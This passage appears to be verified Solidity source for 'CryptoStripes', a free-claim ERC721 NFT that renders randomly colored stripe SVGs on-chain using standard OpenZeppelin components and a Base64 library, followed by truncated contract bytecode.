total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract CryptoStripes is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 constant MAX_TOKENS = 4000; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getFirst(uint256 tokenId) public pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); return getColors(tokenId, "FIRST"); } function getSecond(uint256 tokenId) public pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); return getColors(tokenId, "SECOND"); } function getThird(uint256 tokenId) public pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); return getColors(tokenId, "THIRD"); } function getFourth(uint256 tokenId) public pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); return getColors(tokenId, "FOURTH"); } function getFifth(uint256 tokenId) public pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); return getColors(tokenId, "FIFTH"); } function getColors( uint256 tokenId, string memory keyPrefix ) internal pure returns (uint8[3] memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); uint256 rand_red = random(string(abi.encodePacked(keyPrefix, 'red', toString(tokenId)))); uint256 rand_green = random(string(abi.encodePacked(keyPrefix, 'green', toString(tokenId)))); uint256 rand_blue = random(string(abi.encodePacked(keyPrefix, 'blue', toString(tokenId)))); uint8[3] memory output = [uint8(rand_red % 256), uint8(rand_green % 256), uint8(rand_blue % 256)]; return output; } function colorString(uint8[3] memory colors) internal pure returns (string memory) { string memory red = toString(uint256(colors[0])); string memory green = toString(uint256(colors[1])); string memory blue = toString(uint256(colors[2])); string memory output = string(abi.encodePacked('rgb(', red, ',', green, ',', blue, ')')); return output; } function tokenURI(uint256 tokenId) public pure override returns (string memory) { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); string[13] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>'; parts[1] = string(abi.encodePacked('.a {fill:', colorString(getFirst(tokenId)), '}')); parts[2] = string(abi.encodePacked('.b {fill:', colorString(getSecond(tokenId)), '}')); parts[3] = string(abi.encodePacked('.c {fill:', colorString(getThird(tokenId)), '}')); parts[4] = string(abi.encodePacked('.d {fill:', colorString(getFourth(tokenId)), '}')); parts[5] = string(abi.encodePacked('.e {fill:', colorString(getFifth(tokenId)), '}')); parts[6] = '</style>'; parts[7] = '<g><rect class="a" width="70" height="70"/></g>'; parts[8] = '<g><rect y="70" class="b" width="350" height="70"/></g>'; parts[9] = '<g><rect y="140" class="c" width="350" height="70"/></g>'; parts[10] = '<g><rect y="210" class="d" width="350" height=70"/></g>'; parts[11] = '<g><rect y="280" class="e" width="350" height="70"/></g>'; parts[12] = '</svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12])); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "CryptoStripes #', toString(tokenId), '", "description": "Who will find the rarest stripe? This token is essentially worthless! ", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' ) ) ) ); output = string(abi.encodePacked("data:application/json;base64,", json)); return output; } function claim(uint256 tokenId) public nonReentrant { require(tokenId>0 && tokenId<=MAX_TOKENS, "Out of range"); _safeMint(_msgSender(), tokenId); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("CryptoStripe", "CS") Ownable() {} } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c8063667386f7116100ee5780639ec29b8211610097578063c87b56dd11610071578063c87b56dd1461035c578063e985e9c51461036f578063f2fde38b146103ab578063fa7f71b1146103be57600080fd5b80639ec29b8214610323578063a22cb46514610336578063b88d4fde1461034957600080fd5b80638aa001fc116100c85780638aa001fc146102f75780638da5cb5b1461030a57806395d89b411461031b57600080fd5b8063667386f7146102c957806370a08231146102dc578063715018a6146102ef57600080fd5b806323b872dd1161015057806342842e0e1161012a57806342842e0e146102905780634f6ccce7146102a35780636352211e146102b657600080fd5b806323b872dd146102575780632f745c591461026a578063379607f51461027d57600080fd5b8063095ea7b311610181578063095ea7b3146102105780630b2503a61461022557806318160ddd1461024557600080fd5b806301ffc9a7146101a857806306fdde03146101d0578063081812fc146101e5575b600080fd5b6101bb6101b636600461275c565b6103d1565b60405190151581526020015b60405180910390f35b6101d861042d565b6040516101c79190612e0e565b6101f86101f3366004612794565b6104bf565b6040516001600160a01b0390911681526020016101c7565b61022361021e366004612733565b61056a565b005b610238610233366004612794565b61069c565b6040516101c79190612dda565b6008545b6040519081526020016101c7565b6102236102653660046125e9565b610741565b610249610278366004612733565b6107c8565b61022361028b366004612794565b610870565b61022361029e3660046125e9565b610937565b6102496102b1366004612794565b610952565b6101f86102c4366004612794565b610a1d565b6102386102d7366004612794565b610aa8565b6102496102ea366004612596565b610b4d565b610223610be7565b610238610305366004612794565b610c4d565b600b546001600160a01b03166101f8565b6101d8610cf2565b610238610331366004612794565b610d01565b6102236103443660046126f9565b610da6565b610223610357366004612624565b610e89565b6101d861036a366004612794565b610f17565b6101bb61037d3660046125b7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6102236103b9366004612596565b611296565b6102386103cc366004612794565b611378565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d6300000000000000000000000000000000000000000000000000000000148061042757506104278261141d565b92915050565b60606000805461043c90612ecd565b80601f016020809104026020016040519081016040528092919081815260200182805461046890612ecd565b80156104b55780601f1061048a576101008083540402835291602001916104b5565b820191906000526020600020905b81548152906001019060200180831161049857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661054e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061057582610a1d565b9050806001600160a01b0316836001600160a01b031614156105ff5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610545565b336001600160a01b038216148061061b575061061b813361037d565b61068d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610545565b6106978383611500565b505050565b6106a4612534565b6000821180156106b65750610fa08211155b6107025760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662072616e676500000000000000000000000000000000000000006044820152606401610545565b610427826040518060400160405280600581526020017f4649465448000000000000000000000000000000000000000000000000000000815250611586565b61074b33826116b9565b6107bd5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610545565b6106978383836117c1565b60006107d383610b4d565b82106108475760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610545565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6002600a5414156108c35760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610545565b6002600a5580158015906108